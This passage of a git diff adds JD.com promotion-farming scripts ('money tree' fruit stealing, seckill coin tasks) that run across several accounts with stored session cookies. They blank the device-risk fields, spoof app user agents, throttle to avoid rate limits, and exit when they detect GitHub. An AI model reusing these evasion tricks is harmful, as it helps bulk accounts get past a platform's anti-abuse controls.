+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (eor) {
+ $.logErr(eor, err)
+ } finally {
+ resolve()
+ }
+ })
+ })
+}
+
+//偷好友金果API
+async function stealFruit(friendPin, stoleId) {
+ await $.wait(1000); //歇口气儿, 不然会报操作频繁
+ const params = {
+ "source": 2,
+ "friendPin": friendPin,
+ "stoleId": stoleId,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样)
+ return new Promise((resolve, reject) => {
+ $.post(taskurl('stealFruit', params), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log("\n摇钱树京东API请求失败 ‼️‼️");
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (eor) {
+ $.logErr(eor, err)
+ } finally {
+ resolve(data)
+ }
+ })
+ })
+}
+
+
+async function request(function_id, body = {}) {
+ await $.wait(1000); //歇口气儿, 不然会报操作频繁
+ return new Promise((resolve, reject) => {
+ $.post(taskurl(function_id, body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log("\n摇钱树京东API请求失败 ‼️‼️");
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (eor) {
+ $.msg("摇钱树-初始化个人信息" + eor.name + "‼️", JSON.stringify(eor), eor.message)
+ } finally {
+ resolve(data)
+ }
+ })
+ })
+}
+
+function taskurl(function_id, body) {
+ return {
+ url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000,
+ body: `reqData=${function_id === 'harvest' || function_id === 'login' || function_id === 'signIndex' || function_id === 'signOne' || function_id === 'setUserLinkStatus' || function_id === 'dayWork' || function_id === 'getSignAward' || function_id === 'sell' || function_id === 'friendRank' || function_id === 'friendTree' || function_id === 'stealFruit' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`,
+ headers: {
+ 'Accept': `application/json`,
+ 'Origin': `https://uua.jr.jd.com`,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Cookie': cookie,
+ 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`,
+ 'Host': `ms.jr.jd.com`,
+ 'Connection': `keep-alive`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`,
+ 'Accept-Language': `zh-cn`
+ }
+ }
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion",
+ headers: {
+ Host: "me-api.jd.com",
+ Accept: "*/*",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-cn",
+ "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&",
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === "1001") {
+ $.isLogin = false; //cookie过期
+ return;
+ }
+ if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) {
+ $.nickName = data.data.userInfo.baseInfo.nickname;
+ }
+ } else {
+ $.log('京东服务器返回空数据');
+ }
+ }
+ } catch (e) {
+ $.logErr(e)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_ms.js b/Task/jd_ms.js
new file mode 100644
index 0000000..0501da2
--- /dev/null
+++ b/Task/jd_ms.js
@@ -0,0 +1,328 @@
+/*
+京东秒秒币
+Last Modified time: 2021-05-22 8:55:00
+一天签到100币左右,100币可兑换1毛钱红包,推荐攒着配合农场一起用
+活动时间:长期活动
+更新地址:jd_ms.js
+活动入口:京东app-京东秒杀-签到领红包
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#京东秒秒币
+10 7 * * * jd_ms.js, tag=京东秒秒币, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_ms.jpg, enabled=true
+
+================Loon==============
+[Script]
+cron "10 7 * * *" script-path=jd_ms.js,tag=京东秒秒币
+
+===============Surge=================
+京东秒秒币 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=200,script-path=jd_ms.js
+
+============小火箭=========
+京东秒秒币 = type=cron,script-path=jd_ms.js, cronexpr="10 7 * * *", timeout=200, enable=true
+ */
+const $ = new Env('京东秒秒币');
+
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message;
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {
+ };
+ if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0)
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+const JD_API_HOST = 'https://api.m.jd.com/client.action';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await jdMs()
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+async function jdMs() {
+ $.score = 0
+ await getActInfo()
+ await getUserInfo()
+ $.cur = $.score
+ if ($.encryptProjectId) {
+ await getTaskList()
+ }
+ await getUserInfo(false)
+ await showMsg()
+}
+
+function getActInfo() {
+ return new Promise(resolve => {
+ $.post(taskPostUrl('assignmentList', {}, 'appid=jwsp'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${err},${jsonParse(resp.body)['message']}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data)
+ if (data.code === 200) {
+ $.encryptProjectId = data.result.assignmentResult.encryptProjectId
+ console.log(`活动名称:${data.result.assignmentResult.projectName}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function getUserInfo(info=true) {
+ return new Promise(resolve => {
+ $.post(taskPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${err},${jsonParse(resp.body)['message']}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data)
+ if (data.code === 2041) {
+ $.score = data.result.assignment.assignmentPoints || 0
+ if(info) console.log(`当前秒秒币${$.score}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function getTaskList() {
+ let body = {"encryptProjectId": $.encryptProjectId, "sourceCode": "wh5"}
+ return new Promise(resolve => {
+ $.post(taskPostUrl('queryInteractiveInfo', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${err},${jsonParse(resp.body)['message']}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data)
+ $.risk = false
+ if (data.code === '0') {
+ for (let vo of data.assignmentList) {
+ if($.risk) break
+ if (vo['completionCnt'] < vo['assignmentTimesLimit']) {
+ if (vo['assignmentType'] === 1) {
+ if(vo['ext'][vo['ext']['extraType']].length === 0) continue;
+ for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) {
+ console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`)
+ let body = {
+ "encryptAssignmentId": vo['encryptAssignmentId'],
+ "itemId": vo['ext'][vo['ext']['extraType']][i]['itemId'],
+ "actionType": 1,
+ "completionFlag": ""
+ }
+ await doTask(body)
+ await $.wait(vo['ext']['waitDuration'] * 1000 + 500)
+ body['actionType'] = 0
+ await doTask(body)
+ }
+ } else if (vo['assignmentType'] === 0) {
+ for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) {
+ console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`)
+ let body = {
+ "encryptAssignmentId": vo['encryptAssignmentId'],
+ "itemId": "",
+ "actionType": "0",
+ "completionFlag": true
+ }
+ await doTask(body)
+ await $.wait(1000)
+ }
+ } else if (vo['assignmentType'] === 3) {
+ for (let i = vo['completionCnt']; i < vo['assignmentTimesLimit']; ++i) {
+ console.log(`去做${vo['assignmentName']}任务:${i + 1}/${vo['assignmentTimesLimit']}`)
+ let body = {
+ "encryptAssignmentId": vo['encryptAssignmentId'],
+ "itemId": vo['ext'][vo['ext']['extraType']][i]['itemId'],
+ "actionType": 0,
+ "completionFlag": ""
+ }
+ await doTask(body)
+ await $.wait(1000)
+ }
+ }
+ }
+ }
+ } else {
+ console.log(data)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function doTask(body) {
+ body = {...body, "encryptProjectId": $.encryptProjectId, "sourceCode": "wh5", "ext": {}}
+ return new Promise(resolve => {
+ $.post(taskPostUrl('doInteractiveAssignment', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${err},${jsonParse(resp.body)['message']}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data)
+ console.log(data.msg)
+ if(data.msg==='风险等级未通过') $.risk =1
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function showMsg() {
+ return new Promise(resolve => {
+ message += `本次运行获得秒秒币${$.score-$.cur}枚,共${$.score}枚`;
+ $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+
+
+function taskPostUrl(function_id, body = {}, extra = '', function_id2) {
+ let url = `${JD_API_HOST}`;
+ if (function_id2) {
+ url += `?functionId=${function_id2}`;
+ }
+ return {
+ url,
+ body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`,
+ headers: {
+ "Cookie": cookie,
+ "origin": "https://h5.m.jd.com",
+ "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html",
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete 